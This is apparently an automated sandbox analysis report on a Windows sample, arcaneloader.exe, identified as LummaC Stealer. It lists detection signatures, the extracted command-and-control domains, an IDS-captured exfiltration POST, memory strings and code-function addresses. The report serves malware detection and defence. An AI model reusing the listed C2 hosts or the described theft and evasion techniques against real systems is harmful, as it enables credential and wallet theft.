Edit tour

Windows Analysis Report
arcaneloader.exe

Overview

General Information

Sample name:	arcaneloader.exe
Analysis ID:	1561494
MD5:	f6af7a6808f0e831fed6566c54b1e94e
SHA1:	c892db08342003ea729c89e4b763448999eb4f5a
SHA256:	131415b711a7dbe49af20022577ad51c271d75175e32547a8107a56d7462f1d7
Tags:	exeuser-4k95m
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

arcaneloader.exe (PID: 1280 cmdline: "C:\Users\user\Desktop\arcaneloader.exe" MD5: F6AF7A6808F0E831FED6566C54B1E94E)

conhost.exe (PID: 5232 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

arcaneloader.exe (PID: 280 cmdline: "C:\Users\user\Desktop\arcaneloader.exe" MD5: F6AF7A6808F0E831FED6566C54B1E94E)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["fumblingactor.cyou"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.2265617650.000000000327A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000000.00000002.2147698291.000000000349E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
Process Memory Space: arcaneloader.exe PID: 280	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: arcaneloader.exe PID: 280	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.arcaneloader.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
3.2.arcaneloader.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:03:05.016322+0100	2028371	3	Unknown Traffic	192.168.2.6	49707	172.67.155.47	443	TCP
2024-11-23T15:03:07.004777+0100	2028371	3	Unknown Traffic	192.168.2.6	49709	172.67.155.47	443	TCP
2024-11-23T15:03:09.287935+0100	2028371	3	Unknown Traffic	192.168.2.6	49711	172.67.155.47	443	TCP
2024-11-23T15:03:11.509699+0100	2028371	3	Unknown Traffic	192.168.2.6	49712	172.67.155.47	443	TCP
2024-11-23T15:03:13.653451+0100	2028371	3	Unknown Traffic	192.168.2.6	49718	172.67.155.47	443	TCP
2024-11-23T15:03:16.264662+0100	2028371	3	Unknown Traffic	192.168.2.6	49724	172.67.155.47	443	TCP
2024-11-23T15:03:18.795759+0100	2028371	3	Unknown Traffic	192.168.2.6	49734	172.67.155.47	443	TCP
2024-11-23T15:03:22.293764+0100	2028371	3	Unknown Traffic	192.168.2.6	49746	172.67.155.47	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:03:05.706014+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49707	172.67.155.47	443	TCP
2024-11-23T15:03:07.718873+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49709	172.67.155.47	443	TCP
2024-11-23T15:03:23.048426+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49746	172.67.155.47	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:03:05.706014+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49707	172.67.155.47	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:03:07.718873+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49709	172.67.155.47	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:03:16.992599+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49724	172.67.155.47	443	TCP

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: frogs-severz.sbs

Source: arcaneloader.exe, 00000003.00000003.2239123754.00000000057CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: arcaneloader.exe, 00000003.00000003.2239123754.00000000057CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: arcaneloader.exe, 00000003.00000003.2239123754.00000000057CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: arcaneloader.exe, 00000003.00000003.2239123754.00000000057CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: arcaneloader.exe, 00000003.00000003.2239123754.00000000057CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: arcaneloader.exe, 00000003.00000003.2239123754.00000000057CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: arcaneloader.exe, 00000003.00000003.2239123754.00000000057CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: arcaneloader.exe, 00000003.00000003.2239123754.00000000057CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: arcaneloader.exe, 00000003.00000003.2239123754.00000000057CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: arcaneloader.exe, 00000003.00000003.2239123754.00000000057CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: arcaneloader.exe, 00000003.00000003.2239123754.00000000057CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: arcaneloader.exe, 00000003.00000003.2196309451.00000000057ED000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2196383157.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: arcaneloader.exe, 00000003.00000003.2241058749.00000000057B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: arcaneloader.exe, 00000003.00000003.2241058749.00000000057B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: arcaneloader.exe, 00000003.00000003.2196309451.00000000057ED000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2196383157.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: arcaneloader.exe, 00000003.00000003.2196309451.00000000057ED000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2196383157.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: arcaneloader.exe, 00000003.00000003.2196309451.00000000057ED000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2196383157.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: arcaneloader.exe, 00000003.00000003.2241058749.00000000057B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: arcaneloader.exe, 00000003.00000003.2241058749.00000000057B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: arcaneloader.exe, 00000003.00000003.2196309451.00000000057ED000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2196383157.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: arcaneloader.exe, 00000003.00000003.2196309451.00000000057ED000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2196383157.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: arcaneloader.exe, 00000003.00000003.2196309451.00000000057ED000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2196383157.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: arcaneloader.exe, 00000003.00000003.2286689845.00000000057AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.s
Source: arcaneloader.exe, 00000003.00000003.2347314866.000000000326A000.00000004.00000020.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2239078589.00000000057AF000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2238614584.00000000057AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/
Source: arcaneloader.exe, 00000003.00000003.2347314866.000000000320A000.00000004.00000020.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000002.2349286243.00000000031F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/api
Source: arcaneloader.exe, 00000003.00000003.2286841337.000000000326C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/apiS
Source: arcaneloader.exe, 00000003.00000003.2238399885.00000000057B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/apigoN0T
Source: arcaneloader.exe, 00000003.00000003.2262709670.00000000057AF000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2238399885.00000000057AF000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2239078589.00000000057AF000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2238614584.00000000057AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/apiiF
Source: arcaneloader.exe, 00000003.00000003.2195949369.0000000003270000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/apikB
Source: arcaneloader.exe, 00000003.00000003.2286841337.000000000326C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/cl
Source: arcaneloader.exe, 00000003.00000003.2195949369.0000000003277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/mB
Source: arcaneloader.exe, 00000003.00000002.2349286243.00000000031F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs:443/apial
Source: arcaneloader.exe, 00000003.00000003.2241058749.00000000057B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: arcaneloader.exe, 00000003.00000003.2240657828.00000000058C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: arcaneloader.exe, 00000003.00000003.2240657828.00000000058C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: arcaneloader.exe, 00000003.00000003.2241058749.00000000057B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: arcaneloader.exe, 00000003.00000003.2196309451.00000000057ED000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2196383157.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: arcaneloader.exe, 00000003.00000003.2196309451.00000000057ED000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2196383157.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: arcaneloader.exe, 00000003.00000003.2240520662.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: arcaneloader.exe, 00000003.00000003.2240520662.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: arcaneloader.exe, 00000003.00000003.2240657828.00000000058C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: arcaneloader.exe, 00000003.00000003.2240657828.00000000058C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: arcaneloader.exe, 00000003.00000003.2240657828.00000000058C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: arcaneloader.exe, 00000003.00000003.2241058749.00000000057B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.6:49746 version: TLS 1.2

Source: C:\Users\user\Desktop\arcaneloader.exe

Code function: 3_2_004353C0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_004353C0

Source: C:\Users\user\Desktop\arcaneloader.exe

Code function: 3_2_004353C0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_004353C0

Source: C:\Users\user\Desktop\arcaneloader.exe

Code function: 3_2_00435540 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

3_2_00435540

Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 0_2_00DBF4D0	0_2_00DBF4D0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 0_2_00DC34D0	0_2_00DC34D0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 0_2_00DBF980	0_2_00DBF980
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 0_2_00DC15A0	0_2_00DC15A0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 0_2_00DB86C0	0_2_00DB86C0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 0_2_00DBCE70	0_2_00DBCE70
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 0_2_00DD1FD2	0_2_00DD1FD2
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 0_2_00DBD7F0	0_2_00DBD7F0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0041C8CA	3_2_0041C8CA
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_004269C2	3_2_004269C2
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0043A1C0	3_2_0043A1C0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0042F246	3_2_0042F246
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0040B270	3_2_0040B270
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_004222F0	3_2_004222F0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0043CAB0	3_2_0043CAB0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0040D487	3_2_0040D487
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0040ED41	3_2_0040ED41
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0042EDFB	3_2_0042EDFB
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00429590	3_2_00429590
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_004425A0	3_2_004425A0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0040F6C0	3_2_0040F6C0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0043F6C2	3_2_0043F6C2
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00442EF0	3_2_00442EF0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00408F40	3_2_00408F40
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0043FF4D	3_2_0043FF4D
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0041C058	3_2_0041C058
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00419860	3_2_00419860
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0041D862	3_2_0041D862
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0042B820	3_2_0042B820
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_004410E0	3_2_004410E0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0042A080	3_2_0042A080
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0041B888	3_2_0041B888
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_004428B0	3_2_004428B0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00432142	3_2_00432142
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0042A93A	3_2_0042A93A
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_004071C0	3_2_004071C0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_004411C0	3_2_004411C0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0041E1D0	3_2_0041E1D0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_004039E0	3_2_004039E0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_004061E0	3_2_004061E0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_004099F0	3_2_004099F0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0040598A	3_2_0040598A
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_004399B0	3_2_004399B0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0043DA60	3_2_0043DA60
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00429A10	3_2_00429A10
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0043D2C0	3_2_0043D2C0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00432A92	3_2_00432A92
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00402AB0	3_2_00402AB0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00427358	3_2_00427358
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00442BD0	3_2_00442BD0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0041B382	3_2_0041B382
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00404390	3_2_00404390
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00433390	3_2_00433390
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00429BAB	3_2_00429BAB
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00427455	3_2_00427455
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00425C1F	3_2_00425C1F
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0042C430	3_2_0042C430
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00407CD0	3_2_00407CD0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00431CF8	3_2_00431CF8
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0040BD13	3_2_0040BD13
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00406D30	3_2_00406D30
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0042DDD6	3_2_0042DDD6
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00428DDC	3_2_00428DDC
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0042ADF0	3_2_0042ADF0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0041A583	3_2_0041A583
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0042FD86	3_2_0042FD86
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00440E40	3_2_00440E40
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0041AE58	3_2_0041AE58
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00441660	3_2_00441660
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00420670	3_2_00420670
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00409E30	3_2_00409E30
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0042F6C5	3_2_0042F6C5
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00425EEB	3_2_00425EEB
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00438EEE	3_2_00438EEE
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_004066A0	3_2_004066A0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0042EDF6	3_2_0042EDF6
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00439750	3_2_00439750
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0043AF57	3_2_0043AF57
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00422F5C	3_2_00422F5C
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00440F70	3_2_00440F70
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00440FCA	3_2_00440FCA
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00402FD0	3_2_00402FD0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00420FE0	3_2_00420FE0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_004237E5	3_2_004237E5
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00426F80	3_2_00426F80
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_0041F7A0	3_2_0041F7A0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00DBF980	3_2_00DBF980
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00DBF4D0	3_2_00DBF4D0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00DC34D0	3_2_00DC34D0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00DC15A0	3_2_00DC15A0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00DB86C0	3_2_00DB86C0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00DBCE70	3_2_00DBCE70
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00DD1FD2	3_2_00DD1FD2
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00DBD7F0	3_2_00DBD7F0

Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: String function: 00419850 appears 65 times
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: String function: 00408820 appears 41 times
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: String function: 00DC8178 appears 36 times
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: String function: 00DC55C0 appears 66 times

Source: arcaneloader.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: arcaneloader.exe

Static PE information: Section: .coS ZLIB complexity 1.0003296675955413

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/0@2/1

Source: C:\Users\user\Desktop\arcaneloader.exe

Code function: 3_2_0043A1C0 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

3_2_0043A1C0

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5232:120:WilError_03

Source: arcaneloader.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

